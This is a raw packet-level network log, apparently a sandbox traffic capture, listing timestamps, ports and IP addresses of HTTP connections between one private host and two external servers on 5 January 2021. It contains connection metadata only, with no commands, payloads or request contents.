Jan 5, 2021 19:05:23.266865015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.266869068 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266892910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266928911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266952991 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.266998053 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267026901 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267040968 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267049074 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267054081 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267057896 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267062902 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267086983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267087936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267096996 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267103910 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267111063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267122984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267124891 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267137051 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267146111 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267159939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267163038 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267173052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267177105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267180920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267199993 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267205000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267210960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267225027 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267240047 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267241955 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267246962 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267260075 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267266989 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267303944 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267308950 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267321110 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267328024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267328978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267333984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267365932 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267393112 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267404079 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267410994 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267419100 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267424107 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267430067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267438889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267443895 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267462969 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267468929 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267477036 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267494917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267518044 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267525911 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267532110 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267532110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267537117 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267566919 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267577887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267606020 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267607927 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267632961 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267640114 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267646074 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267651081 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267673016 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267687082 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267698050 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267704010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267712116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267733097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267744064 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267750978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267772913 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267780066 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.267782927 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267788887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267836094 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.267849922 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.278075933 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309040070 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309097052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309123993 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309159994 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309160948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309187889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309190989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309201956 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309235096 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309250116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309264898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309284925 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309300900 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309326887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309328079 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309350967 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309365988 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309402943 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309420109 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309437037 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309453011 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309475899 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309497118 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309500933 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309526920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309539080 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309561968 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309598923 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309600115 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309624910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309647083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309654951 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309663057 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309680939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309715986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309740067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309761047 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309777021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309779882 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309784889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309811115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309851885 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309853077 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309860945 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309864998 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309870005 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309875965 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309911966 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309914112 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309947968 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309957027 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.309964895 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309983015 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.309998035 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310009003 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310012102 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310036898 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310038090 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310075045 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310075998 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310082912 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310094118 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310108900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310132980 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310148001 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310168028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310197115 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310209990 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310225010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310235977 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310236931 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310266018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310291052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310292006 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310321093 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310340881 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310347080 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310348034 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310381889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310384989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310396910 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310409069 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310427904 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310436010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310445070 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310460091 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310482025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310502052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310528040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310538054 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310553074 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310590029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310607910 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310617924 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310646057 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310662031 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310693979 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310699940 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310700893 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310705900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310718060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310753107 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310777903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310806036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.310827971 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.310942888 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.311072111 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.425647974 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.425860882 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:06:07.596884966 CET	49168	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:07.647198915 CET	80	49168	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:07.647279978 CET	49168	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:07.649980068 CET	49168	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:07.715207100 CET	80	49168	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:07.715271950 CET	49168	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:07.792860985 CET	80	49168	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:07.837934971 CET	80	49168	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:07.837956905 CET	80	49168	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:07.838076115 CET	49168	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:07.838124990 CET	49168	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:07.886883974 CET	80	49168	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.108283997 CET	49169	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.157057047 CET	80	49169	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.157179117 CET	49169	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.163208961 CET	49169	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.230199099 CET	80	49169	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.230293036 CET	49169	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.292798996 CET	80	49169	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.331588984 CET	80	49169	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.331630945 CET	80	49169	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.331738949 CET	49169	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.331954002 CET	49169	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.380434036 CET	80	49169	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.418318033 CET	49170	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.467089891 CET	80	49170	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.467237949 CET	49170	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.473301888 CET	49170	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.542687893 CET	80	49170	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.542748928 CET	49170	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.605180979 CET	80	49170	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.645122051 CET	80	49170	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.645164013 CET	80	49170	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.645246983 CET	49170	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.645587921 CET	49170	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.694189072 CET	80	49170	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.831942081 CET	49171	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.881059885 CET	80	49171	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.881201029 CET	49171	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.887025118 CET	49171	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:08.964891911 CET	80	49171	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:08.965001106 CET	49171	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.042934895 CET	80	49171	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.065680027 CET	80	49171	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.065711975 CET	80	49171	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.065862894 CET	49171	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.065922976 CET	49171	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.114638090 CET	80	49171	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.225641012 CET	49172	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.274682045 CET	80	49172	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.274883032 CET	49172	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.279376030 CET	49172	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.356401920 CET	80	49172	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.356514931 CET	49172	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.433465004 CET	80	49172	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.462393999 CET	80	49172	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.462436914 CET	80	49172	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.462595940 CET	49172	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.462654114 CET	49172	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.511187077 CET	80	49172	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.618558884 CET	49173	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.667422056 CET	80	49173	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.667521954 CET	49173	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.669670105 CET	49173	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.746064901 CET	80	49173	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.749500036 CET	49173	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.824230909 CET	80	49173	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.843837023 CET	80	49173	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.843858957 CET	80	49173	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:09.844099045 CET	49173	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.844118118 CET	49173	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:09.892745972 CET	80	49173	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.015707016 CET	49174	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.064438105 CET	80	49174	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.064560890 CET	49174	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.067265987 CET	49174	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.136564016 CET	80	49174	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.136713982 CET	49174	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.214639902 CET	80	49174	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.236854076 CET	80	49174	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.236895084 CET	80	49174	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.237051010 CET	49174	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.238754988 CET	49174	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.285693884 CET	80	49174	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.445106983 CET	49175	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.494012117 CET	80	49175	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.494221926 CET	49175	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.499610901 CET	49175	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.574125051 CET	80	49175	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.574229002 CET	49175	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.652082920 CET	80	49175	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.673142910 CET	80	49175	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.673183918 CET	80	49175	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.673316002 CET	49175	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.673378944 CET	49175	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.721987009 CET	80	49175	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.832968950 CET	49176	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.881901026 CET	80	49176	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.883862019 CET	49176	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.888135910 CET	49176	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:10.964710951 CET	80	49176	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:10.964956045 CET	49176	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.042907953 CET	80	49176	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.065620899 CET	80	49176	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.065661907 CET	80	49176	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.065804005 CET	49176	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.065864086 CET	49176	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.114450932 CET	80	49176	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.243838072 CET	49177	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.292309999 CET	80	49177	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.292443991 CET	49177	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.296993017 CET	49177	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.370800018 CET	80	49177	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.370929956 CET	49177	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.448915958 CET	80	49177	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.461579084 CET	80	49177	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.461632013 CET	80	49177	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.461816072 CET	49177	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.461884975 CET	49177	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.510340929 CET	80	49177	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.635581970 CET	49178	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.684135914 CET	80	49178	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.684217930 CET	49178	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.686949968 CET	49178	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.761562109 CET	80	49178	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.761766911 CET	49178	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.823967934 CET	80	49178	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.871412992 CET	80	49178	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.871460915 CET	80	49178	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:11.871598005 CET	49178	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.871674061 CET	49178	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:11.920408964 CET	80	49178	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.024163961 CET	49179	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.073168993 CET	80	49179	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.073302031 CET	49179	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.075634003 CET	49179	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.152148962 CET	80	49179	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.152301073 CET	49179	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.214731932 CET	80	49179	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.243051052 CET	80	49179	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.243097067 CET	80	49179	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.243164062 CET	49179	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.243191957 CET	49179	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.291894913 CET	80	49179	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.394742966 CET	49180	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.443619967 CET	80	49180	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.443772078 CET	49180	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.449877024 CET	49180	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.527515888 CET	80	49180	185.206.215.56	192.168.2.22
